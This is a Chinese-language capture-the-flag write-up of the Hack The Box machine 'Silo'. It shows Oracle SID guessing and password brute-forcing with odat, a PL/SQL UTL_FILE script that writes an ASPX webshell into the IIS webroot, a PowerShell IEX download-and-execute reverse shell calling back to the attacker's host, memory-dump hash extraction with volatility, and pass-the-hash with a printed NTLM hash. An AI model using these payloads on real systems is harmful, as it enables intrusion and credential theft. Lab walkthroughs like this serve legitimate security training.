【Hack The Box】windows练习-- Silo
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年10月31日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
吸取了上一个靶场的教训,我们先进行一个全端口的扫描
80/tcp open http Microsoft IIS httpd 8.5
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open oracle-tns Oracle TNS listener (requires service name)
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (95%), Microsoft Windows Server 2012 Data Center (92%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 (92%), Microsoft Windows Windows 7 SP1 (92%), Microsoft Windows Vista Home Premium SP1, Windows 7, or Windows Server 2008 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 7 SP1 (90%), Microsoft Windows Server 2012 or Server 2012 R2 (90%), Microsoft Windows Server 2016 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-time:
| date: 2022-10-30T09:25:06
|_ start_date: 2022-10-30T09:04:40
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
icrosoft Windows Server 2008 R2 - 2012 microsoft-ds
smb服务没有发现明显可用的漏洞
我尝试着理解了针对iis的漏洞,首先它需要我们具有一个登陆页面,但是我用了很多的扫描方法,都没有收获
于是还剩下一个
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
经过不断的寻找
我发现我对于oracle并没有什么头绪
我仅仅掌握了如何爆破,可我没有任何的信息,这令我很苦恼
于是我开始寻找有关的资料
然后我找到了他,接下来我尝试利用它
在终端直接输入odat会自动安装,接下来我只需要找一些他的usage
接下来关于odat的一些命令都在这里了
1. 枚举id
odat sidguesser -s 10.129.7.193
2. 查看是否可打
odat tnspoison -s 10.10.10.82 -d XE --test-module
xe是刚才枚举出的id
3. 爆破密码
odat passwordguesser -d XE -s 10.129.7.193 -p 1521 --accounts-file /usr/share/odat/accounts/accounts.txt
4. 登陆枚举
用native或者sqlplus
sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba
但是他并不起作用
所以我们接着尝试爆破数据库账号密码
这里可以使用很多方法,但是我更推荐sqlplus,因为他高效,简便
同样的,sqlplus也可以正常的连接
一旦您以 sysdba 身份登录,我们就能够运行编写特殊脚本,从而使我们能够使用 UTL_FILE 包读取/写入文件。
这就是根本的原理
但要注意这里有限制,必须在一行,并且小于1000个字符
所以我推荐直接使用现成的payload
```clike
. webshell/payload
--------------------------------------
sed -z 's/\n//g' cmdasp.aspx
必要时用上面的命令使其变成一行
declare
f utl_file.file_type;
s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %> method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px">asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click">asp:Button><asp:Label id="lblText" runat="server">Command:asp:Label>';
begin
f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W');
utl_file.put_line(f,s);
utl_file.fclose(f);
end;
/
------------------------------------------
6. 然后url直接访问10.10.10.82/peng.aspx即可获取webshell,后续借助nishang(win)就可以反弹shell
这里只有简单的窗口,所以在这里我不建议大家使用复杂的反弹shell
使用nishang
方便快捷,并且直接拿到power shell
```clike
kali执行
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
mv Invoke-PowerShellTcp.ps1 shell.ps1
python3 -m http.server 80
nc -nvlp 6969
网页执行
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.16.3/shell.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -port 6969
我们在用户的桌面上发现了两个txt文件,拿来看看
Get-Content “Oracle issue.txt”
发现告诉了你一个密码,还有一个一个网址
但是我们去访问,发现密码错误
这是因为这是webshell的缘故
所以在编码格式上存在一定的问题
所以我们把它编码再拿回来解码
直接执行下面这一大段就可以
$fc = Get-Content "Oracle issue.txt"
$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
[System.Convert]::ToBase64String($fe)
然后拿回来kali解码
echo -n "U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAvIE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1ZXN0ZWQpOiAgRHJvcGJveCBsaW5rIHByb3ZpZGVkIHRvIHZlbmRvciAoYW5kIHBhc3N3b3JkIHVuZGVyIHNlcGFyYXRlIGNvdmVyKS4gIERyb3Bib3ggbGluayAgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2gvNjlza3J5emZzemI3ZWxxL0FBRFpuUUViYnFEb0lmNUwyZDBQQnhFTmE/ZGw9MCAgbGluayBwYXNzd29yZDogwqMlSG04NjQ2dUMk" | base64 -d
获得正确的密码£%Hm8646uC$
并且得到了一个内存转储文件
首先,我们需要知道系统版本
这可以用systeminfo来知晓
而后得知
Win2012R2x64
再之后,开始提取hash值,事实上,我们应该干很多事在这之前,但那些都没有太大的必要
分享一下应该注意的一些东西
volatility -f win7.raw imageinfo ##检测目标系统信息
volatility -f win7.raw --profile=Win7SPIx64 pslist ##查看运行的进程信息
volatility -f /root/桌面/mem.dump imageinfo ##获取dump的版本
volatility -f WIN2012R2x64.raw --profile=Win8SP0x64 filescan ##扫描内存中的文件
volatility -f WIN2012R2x64.raw --profile=Win8SP0x64 hivelist ##列举缓存在内存中的注册表
volatility -f WIN2012R2x64.raw --profile=Win8SP0x64 printkey -K "SAM\Domains\Account\Users\Names" ##查看系统用户名
volatility -f win7.raw --profile=Win7SPIx64 filescan |grep txt ##查看文件列表
volatility -f win7.raw --profile=Win7SPIx64 dumpfile -Q 0x000007 -D dir ##下载感兴趣的文件,#dir你保存的路径
volatility -f win7.raw --profile=Win7SPIx64 hashdump ##提取系统的账号密码
volatility -f win7.raw --profile=Win7SPIx64 netscan |grep ESTABLISHED ##查看网络通信连接
volatility -f win7.raw --profile=Win7SPIx64 cmdscan ##查看cmd历史记录
volatility -f win7.raw --profile=Win7SPIx64 memdump -p 352 -D dir ##导出nc进程传输的文件,352为nc的进程号 dir 为保存的路径
foremost 352.dmp ##分割dmp文件
volatility -f easy_dump.img --profile=Win7SP1x64 filescan | grep -E 'jpg|png|jpeg|bmp|gif' ##查找镜像中的文件
volatility -f mem.vmem --profile=WinXPSP2x86 userassist ##查看userassist键值包含系统或桌面执行文件的信息,如名称、路径、执行次数、最后一次执行时间等
当我们执行这条命令的时候,我们就可以获取admin登陆的hash凭据
vol.py -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd